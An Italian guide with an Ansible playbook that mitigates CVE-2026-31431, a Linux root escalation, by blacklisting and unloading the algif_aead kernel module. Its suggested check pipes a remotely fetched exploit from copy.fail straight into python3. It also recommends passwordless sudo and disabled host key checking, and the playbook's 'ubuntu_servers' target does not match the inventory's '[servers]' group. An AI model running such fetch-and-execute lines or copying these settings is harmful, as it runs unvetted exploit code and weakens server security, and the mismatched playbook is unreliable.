Playbook di mitigazione CVE-2026-31431
Cos'è
CVE-2026-31431 è una vulnerabilità di Privilege Escalation che permette ad un utente non privilegiato di diventare root su qualsiasi sistema Linux dal 2017 ad oggi, a causa di una vulnerabilità passata inosservata per anni nel modulo algif_aead che fornisce funzionalità crittografiche ad applicazioni in userspace senza bisogno di acquisire privilegi elevati.
Il bugfix consiste in un aggiornamento del kernel, che su alcuni sistemi tarderà ad arrivare e su altri (non più mantenuti) non arriverà mai. Fortunatamente c'è un workaround: disabilitare interamente il modulo.
NOTA: la rimozione di
algif_aeadpuò rompere applicazioni che usano l'interfaccia AF_ALG per AEAD (raro, ma possibile: alcuni tool di cifratura userland, libkcapi, ecc.). Testare in staging prima.
Maggiori info sull'exploit e test sul sito ufficiale.
Cosa fa questo playbook
Questo playbook disabilita il modulo interessato mettendo al sicuro il sistema. In caso di problemi o quando verrà rilasciato un aggiornamento correttivo, è possibile ri-abilitarlo con l'opzione rollback descritta in calce a questa guida.
Prima di eseguire questo playbook, è possibile (e consigliato) aggiornare il sistema operativo e verificare se si è ancora vulnerabili con il test ufficiale:
curl https://copy.fail/exp | python3 && su
id
Per aggiornare un vasto parco macchine in maniera automatizzata ho creato un apposito playbook disponibile per gli abbonati a Patreon.
Come usare il playbook
- Installa
ansible - Crea una configurazione di base funzionante:
ansible.cfg
cat > ansible.cfg << 'EOF'
[defaults]
inventory = ./inventory.ini
host_key_checking = False
retry_files_enabled = False
forks = 10
timeout = 30
stdout_callback = default
result_format = yaml
callbacks_enabled = ansible.posix.profile_tasks, ansible.posix.timer
gathering = smart
fact_caching = jsonfile
fact_caching_connection = ./.ansible_facts_cache
fact_caching_timeout = 7200
[ssh_connection]
pipelining = True
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o ServerAliveInterval=30
[privilege_escalation]
become = True
become_method = sudo
become_ask_pass = False
EOF
- Crea un
inventory.inida popolare con gli IP dei server da aggiornare e alcune impostazioni comuni (ES: utente con cui autenticarsi)
inventory.ini
cat > inventory.ini << 'EOF'
[servers]
192.168.1.60
192.168.1.61
192.168.1.62
[servers:vars]
ansible_user=ubuntu
ansible_python_interpreter=/usr/bin/python3
ansible_ssh_common_args='-o StrictHostKeyChecking=accept-new'
EOF
NOTA: Questo funziona correttamente se:
- Hai configurato l'autenticazione tramite chiavi SSH (preferenziale)
- L'utente scelto può eseguire
sudosenza password richiesta (%sudo ALL=(ALL) NOPASSWD: ALLnella configurazionesudoers) - Esegui il seguente playbook:
Playbook: mitigate-cve-2026-31431.yml
Questo playbook:
- modifica la configurazione di caricamento moduli del kernel
- può essere eseguito indipendentemente dalla finestra di patching
Cosa fa:
- Crea
/etc/modprobe.d/disable-algif.confconinstall algif_aead /bin/false(impedisce il caricamento futuro del modulo, anche on-demand). - Rimuove il modulo se attualmente in uso (
rmmod), tollerando il caso "non caricato". - Verifica lo stato finale e riepiloga.
cat > mitigate-cve-2026-31431.yml << 'EOF'
---
- name: Mitigazione CVE-2026-31431 (disabilita modulo algif_aead)
hosts: ubuntu_servers
become: true
gather_facts: true
serial: "{{ mitigation_serial | default('25%') }}"
max_fail_percentage: 20
vars:
rollback: false
modprobe_conf_path: /etc/modprobe.d/disable-algif.conf
target_module: algif_aead
pre_tasks:
- name: Mostra contesto host
ansible.builtin.debug:
msg:
- "Host: {{ inventory_hostname }}"
- "Distro: {{ ansible_distribution }} {{ ansible_distribution_version }}"
- "Kernel: {{ ansible_kernel }}"
- "Azione: {{ 'ROLLBACK' if rollback | bool else 'APPLICA MITIGAZIONE' }}"
- name: Stato iniziale modulo {{ target_module }}
ansible.builtin.shell: "lsmod | awk '$1 == \"{{ target_module }}\" {print $1}'"
register: lsmod_pre
changed_when: false
check_mode: false
- name: Mostra stato iniziale modulo
ansible.builtin.debug:
msg: >-
{{ 'Modulo ' ~ target_module ~ ' attualmente CARICATO'
if lsmod_pre.stdout | length > 0
else 'Modulo ' ~ target_module ~ ' non caricato' }}
tasks:
# ------------------------------------------------------------------
# APPLICA MITIGAZIONE
# ------------------------------------------------------------------
- name: Crea blacklist modprobe per {{ target_module }}
ansible.builtin.copy:
dest: "{{ modprobe_conf_path }}"
content: |
# Generato da Ansible — mitigazione CVE-2026-31431
# NON modificare manualmente: il file è gestito dal playbook
# mitigate-cve-2026-31431.yml.
install {{ target_module }} /bin/false
owner: root
group: root
mode: "0644"
when: not (rollback | bool)
tags: [apply]
notify: rebuild_initramfs
- name: Scarica il modulo {{ target_module }} se attualmente in uso
community.general.modprobe:
name: "{{ target_module }}"
state: absent
register: rmmod_result
when: not (rollback | bool)
tags: [apply]
failed_when:
- rmmod_result is failed
- "'not currently loaded' not in (rmmod_result.msg | default(''))"
- "'is in use' not in (rmmod_result.msg | default(''))"
# ------------------------------------------------------------------
# ROLLBACK
# ------------------------------------------------------------------
- name: Rimuove blacklist modprobe per {{ target_module }}
ansible.builtin.file:
path: "{{ modprobe_conf_path }}"
state: absent
when: rollback | bool
tags: [rollback]
notify: rebuild_initramfs
# ------------------------------------------------------------------
# VERIFICA POST-INTERVENTO
# ------------------------------------------------------------------
- name: Stato finale modulo {{ target_module }}
ansible.builtin.shell: "lsmod | awk '$1 == \"{{ target_module }}\" {print $1}'"
register: lsmod_post
changed_when: false
check_mode: false
tags: [verify]
- name: Verifica presenza file di blacklist
ansible.builtin.stat:
path: "{{ modprobe_conf_path }}"
register: blacklist_stat
tags: [verify]
- name: Asserisce che la mitigazione sia attiva
ansible.builtin.assert:
that:
- blacklist_stat.stat.exists
- lsmod_post.stdout | length == 0
success_msg: "Mitigazione ATTIVA su {{ inventory_hostname }}"
fail_msg: >-
Mitigazione NON completa su {{ inventory_hostname }}:
file_blacklist={{ blacklist_stat.stat.exists }},
modulo_caricato={{ lsmod_post.stdout | length > 0 }}.
Probabile causa: il modulo è in uso da un processo attivo
(`lsof /dev/crypto` o riavviare l'host).
when: not (rollback | bool)
tags: [verify]
post_tasks:
- name: Riepilogo CVE-2026-31431
ansible.builtin.debug:
msg:
- "===== MITIGAZIONE CVE-2026-31431 — {{ inventory_hostname }} ====="
- "Azione: {{ 'rollback' if rollback | bool else 'apply' }}"
- "Blacklist presente: {{ blacklist_stat.stat.exists }}"
- "Modulo caricato pre: {{ lsmod_pre.stdout | length > 0 }}"
- "Modulo caricato post: {{ lsmod_post.stdout | length > 0 }}"
handlers:
- name: rebuild_initramfs
ansible.builtin.command: update-initramfs -u
listen: rebuild_initramfs
EOF
Per applicare la mitigazione su tutto l'inventory:
ansible-playbook -i inventory.ini mitigate-cve-2026-31431.yml
Per fare rollback (rimuove blacklist; il modulo tornerà caricabile on-demand)
ansible-playbook -i inventory.ini mitigate-cve-2026-31431.yml -e "rollback=true"
No comments to display
No comments to display